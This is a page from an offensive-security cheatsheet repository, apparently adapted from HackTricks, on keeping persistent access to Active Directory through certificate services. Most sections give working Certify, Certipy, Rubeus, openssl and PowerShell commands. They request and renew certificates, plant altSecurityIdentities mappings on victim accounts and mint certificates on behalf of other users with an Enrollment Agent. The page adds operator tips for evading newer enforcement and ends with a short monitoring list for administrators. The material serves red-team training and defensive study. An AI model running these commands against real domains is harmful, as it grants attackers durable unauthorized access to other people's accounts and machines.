daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

account-persistence.md (14165B)


      1 ---
      2 title: "AD CS Account Persistence"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # AD CS Account Persistence
     14 
     15 **This is a small summary of the account persistence chapters of the awesome research from [https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)**<sup>[[7]](#references)</sup>
     16 
     17 ## Understanding Active User Credential Theft with Certificates – PERSIST1
     18 
     19 In a scenario where a certificate that allows domain authentication can be requested by a user, an attacker has the opportunity to request and steal this certificate to maintain persistence on a network. By default, the `User` template in Active Directory allows such requests, though it may sometimes be disabled.<sup>[[3]](#references)[[7]](#references)</sup>
     20 
     21 Using [Certify](https://github.com/GhostPack/Certify) or [Certipy](https://github.com/ly4k/Certipy), you can search for enabled templates that allow client authentication and then request one:
     22 
     23 ```bash
     24 # Enumerate client-auth capable templates
     25 Certify.exe find /clientauth
     26 
     27 # Newer Certify 2.0 syntax with filtering to enabled client-auth templates
     28 Certify.exe enum-templates --filter-enabled --filter-client-auth --hide-admins
     29 
     30 # Request a user cert from an Enterprise CA (current user context)
     31 Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
     32 
     33 # Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
     34 certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx
     35 ```
     36 
     37 A certificate’s power lies in its ability to authenticate as the user it belongs to, regardless of password changes, as long as the certificate remains valid.
     38 
     39 You can convert PEM to PFX and use it to obtain a TGT:
     40 
     41 ```bash
     42 # Convert PEM returned by Certify to PFX
     43 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
     44 
     45 # Use certificate for PKINIT and inject the TGT
     46 Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt
     47 
     48 # Or with Certipy
     49 certipy auth -pfx user.pfx -dc-ip 10.0.0.10
     50 ```
     51 
     52 > Note: Combined with other techniques (see THEFT sections), certificate-based auth allows persistent access without touching LSASS and even from non-elevated contexts.
     53 
     54 ## Gaining Machine Persistence with Certificates - PERSIST2
     55 
     56 If an attacker has elevated privileges on a host, they can enroll the compromised system’s machine account for a certificate using the default `Machine` template. Authenticating as the machine enables S4U2Self for local services and can provide durable host persistence:<sup>[[3]](#references)[[7]](#references)</sup>
     57 
     58 ```bash
     59 # Request a machine certificate as SYSTEM
     60 Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:Machine /machine
     61 
     62 # Authenticate as the machine using the issued PFX
     63 Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt
     64 ```
     65 
     66 ## Extending Persistence Through Certificate Renewal - PERSIST3
     67 
     68 Abusing the validity and renewal periods of certificate templates lets an attacker maintain long-term access. If you possess a previously issued certificate and its private key, you can renew it before expiration to obtain a fresh, long-lived credential without leaving additional request artifacts tied to the original principal.<sup>[[3]](#references)[[7]](#references)</sup>
     69 
     70 ```bash
     71 # Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
     72 # Provide the existing PFX and target the same CA/template when possible
     73 certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
     74             -template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx
     75 
     76 # Native Windows renewal with certreq
     77 # (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
     78 certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
     79 ```
     80 
     81 > Operational tip: Track lifetimes on attacker-held PFX files and renew early. Renewal can also cause updated certificates to include the modern SID mapping extension, keeping them usable under stricter DC mapping rules (see next section).
     82 
     83 ## Planting Explicit Certificate Mappings (altSecurityIdentities) – PERSIST4
     84 
     85 If you can write to a target account’s `altSecurityIdentities` attribute, you can explicitly map an attacker-controlled certificate to that account. This persists across password changes and, when using strong mapping formats, remains functional under modern DC enforcement.<sup>[[2]](#references)</sup>
     86 
     87 High-level flow:
     88 
     89 1. Obtain or issue a client-auth certificate you control (e.g., enroll `User` template as yourself).
     90 2. Extract a strong identifier from the cert (Issuer+Serial, SKI, or SHA1-PublicKey).
     91 3. Add an explicit mapping on the victim principal’s `altSecurityIdentities` using that identifier.
     92 4. Authenticate with your certificate; the DC maps it to the victim via the explicit mapping.
     93 
     94 Example (PowerShell) using a strong Issuer+Serial mapping:
     95 
     96 ```powershell
     97 # Example values - reverse the issuer DN and serial as required by AD mapping format
     98 $Issuer  = 'DC=corp,DC=local,CN=CORP-DC-CA'
     99 $SerialR = '1200000000AC11000000002B' # reversed byte order of the serial
    100 $Map     = "X509:<I>$Issuer<SR>$SerialR"
    101 
    102 # Add mapping to victim. Requires rights to write altSecurityIdentities on the object
    103 Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
    104 ```
    105 
    106 Then authenticate with your PFX. Certipy will obtain a TGT directly:
    107 
    108 ```bash
    109 certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
    110 
    111 # If PKINIT is unavailable on the DC, reuse the same persisted cert via Schannel/LDAPS
    112 certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 -ldap-shell
    113 ```
    114 
    115 ### Building Strong `altSecurityIdentities` Mappings
    116 
    117 In practice, **Issuer+Serial** and **SKI** mappings are the easiest strong formats to build from an attacker-held certificate. This matters after **February 11, 2025**, when DCs default to **Full Enforcement** and weak mappings stop being reliable.<sup>[[1]](#references)</sup>
    118 
    119 ```bash
    120 # Extract issuer, serial and SKI from a cert/PFX
    121 openssl pkcs12 -in attacker_user.pfx -clcerts -nokeys -out attacker_user.crt
    122 openssl x509 -in attacker_user.crt -noout -issuer -serial -ext subjectKeyIdentifier
    123 ```
    124 
    125 ```powershell
    126 # Example strong SKI mapping for a user or computer object
    127 $Map = 'X509:<SKI>9C4D7E8A1B2C3D4E5F60718293A4B5C6D7E8F901'
    128 Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
    129 # Set-ADComputer -Identity 'WS01$' -Add @{altSecurityIdentities=$Map}
    130 ```
    131 
    132 Notes
    133 - Use strong mapping types only: `X509IssuerSerialNumber`, `X509SKI`, or `X509SHA1PublicKey`. Weak formats (Subject/Issuer, Subject-only, RFC822 email) are deprecated and can be blocked by DC policy.
    134 - The mapping works on both **user** and **computer** objects, so write access to a computer account's `altSecurityIdentities` is enough to persist as that machine.
    135 - The cert chain must build to a root trusted by the DC. Enterprise CAs in NTAuth are typically trusted; some environments also trust public CAs.
    136 - Schannel authentication remains useful for persistence even when PKINIT fails because the DC lacks the Smart Card Logon EKU or returns `KDC_ERR_PADATA_TYPE_NOSUPP`.
    137 
    138 #### 2025+ `Issuer/SID` explicit mappings
    139 
    140 On **Windows Server 2022+** domain controllers patched with the **September 9, 2025** security update, Microsoft added another strong explicit mapping format that is attractive for persistence because it survives certificate reissuance from the same CA:<sup>[[6]](#references)</sup>
    141 
    142 ```powershell
    143 # Same issuer formatting rules as Issuer+Serial
    144 $Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA'
    145 $SID    = 'S-1-5-21-1111111111-2222222222-3333333333-1105'
    146 $Map    = "X509:<I>$Issuer<SID>$SID"
    147 Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
    148 ```
    149 
    150 Operationally this differs from the older strong formats:
    151 - `Issuer+Serial` pins **one exact certificate**.
    152 - `SKI` / `SHA1-PUKEY` pin **one keypair**.
    153 - `Issuer/SID` pins the **issuing CA + target SID**, so renewed or reissued certificates from the same CA keep working without rewriting `altSecurityIdentities`.
    154 
    155 Requirements and caveats
    156 - The certificate presented for logon must actually contain the target account SID in the SID security extension.
    157 - This format is not helpful for `ESC9` / `ESC16` style certificates that omit the SID extension; in those cases fall back to `Issuer+Serial`, `SKI`, or `SHA1-PUKEY`.
    158 
    159 For more on weak explicit mappings and attack paths, see:
    160 
    161 
    162 [Domain Escalation](/hacktricks/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation)
    163 
    164 ## Enrollment Agent as Persistence – PERSIST5
    165 
    166 If you obtain a valid Certificate Request Agent/Enrollment Agent certificate, you can mint new logon-capable certificates on behalf of users at will and keep the agent PFX offline as a persistence token. Abuse workflow:<sup>[[7]](#references)</sup>
    167 
    168 ```bash
    169 # Request an Enrollment Agent cert (requires template rights)
    170 Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
    171 
    172 # Mint a user cert on behalf of another principal using the agent PFX
    173 Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
    174                    /onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass
    175 
    176 # Or with Certipy
    177 certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
    178            -template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx
    179 ```
    180 
    181 Revocation of the agent certificate or template permissions is required to evict this persistence.
    182 
    183 Operational notes
    184 - Modern `Certipy` versions support both `-on-behalf-of` and `-renew`, so an attacker holding an Enrollment Agent PFX can mint and later renew leaf certificates without re-touching the original target account.<sup>[[4]](#references)</sup>
    185 - If PKINIT-based TGT retrieval is not possible, the resulting on-behalf-of certificate is still usable for Schannel authentication with `certipy auth -pfx victim_onbo.pfx -dc-ip 10.0.0.10 -ldap-shell`.<sup>[[5]](#references)</sup>
    186 
    187 ## Using Persisted Certificates When PKINIT Fails
    188 
    189 If the DC does not have a Smart Card Logon-capable certificate, certificate logon via PKINIT can fail with `KDC_ERR_PADATA_TYPE_NOSUPP`. That does **not** kill the persistence primitive: the same PFX is often still usable for Schannel-authenticated LDAP access.<sup>[[5]](#references)</sup>
    190 
    191 ```bash
    192 # LDAPS / Schannel shell as the mapped principal
    193 certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 -ldap-shell
    194 
    195 # LDAP StartTLS fallback if 636 is filtered but 389/TLS is reachable
    196 certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 -ldap-shell -ldap-scheme ldap -ldap-port 389
    197 ```
    198 
    199 This is especially useful after PERSIST4/PERSIST5 because you can keep operating from Linux/macOS and chain other directory persistence actions such as dropping [shadow credentials](/hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials) or editing writable delegation attributes.
    200 
    201 ## 2025 Strong Certificate Mapping Enforcement: Impact on Persistence
    202 
    203 Microsoft KB5014754 introduced Strong Certificate Mapping Enforcement on domain controllers. Since **February 11, 2025**, DCs default to **Full Enforcement** for weak/ambiguous mappings, and as of the **September 9, 2025** security update patched DCs no longer support the old Compatibility-mode fallback.<sup>[[1]](#references)</sup> Practical implications:
    204 
    205 - Pre-2022 certificates that lack the SID mapping extension may fail implicit mapping when DCs are in Full Enforcement. Attackers can maintain access by either renewing certificates through AD CS (to obtain the SID extension) or by planting a strong explicit mapping in `altSecurityIdentities` (PERSIST4).
    206 - Explicit mappings using strong formats (`Issuer+Serial`, `SKI`, `SHA1-PUKEY`, and on modern DCs `Issuer/SID`) continue to work. Weak formats (Issuer/Subject, Subject-only, RFC822) can be blocked and should be avoided for persistence.
    207 - If weak mappings still appear to work, assume you hit an unpatched or differently configured DC rather than a reliable long-term persistence path.
    208 - `ESC9` / `ESC16` style issuance paths that suppress the SID extension make `Issuer/SID` unusable, so fallback strong mappings or renewal via a normal template become the practical persistence option.
    209 
    210 Administrators should monitor and alert on:
    211 - Changes to `altSecurityIdentities` and issuance/renewals of Enrollment Agent and User certificates.
    212 - CA issuance logs for on-behalf-of requests and unusual renewal patterns.
    213 
    214 ## References
    215 
    216 - [1] [Microsoft Support – KB5014754: Certificate-based authentication changes on Windows domain controllers](https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16)
    217 - [2] [SpecterOps – ADCS ESC14 Abuse Technique](https://specterops.io/blog/2024/02/28/adcs-esc14-abuse-technique/)
    218 - [3] [GhostPack/Certify Wiki – Account Persistence Techniques](https://github.com/GhostPack/Certify/wiki/2-%E2%80%90-Account-Persistence-Techniques)
    219 - [4] [Certipy Wiki – Command Reference](https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference)
    220 - [5] [Almond Offensive Security – Authenticating with certificates when PKINIT is not supported](https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html)
    221 - [6] [Microsoft Community Hub – Introducing a new Issuer/SID AltSecID](https://techcommunity.microsoft.com/blog/publicsectorblog/introducing-a-new-issuersid-altsecid/4454231)
    222 - [7] [SpecterOps – Certified Pre-Owned: Abusing Active Directory Certificate Services](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)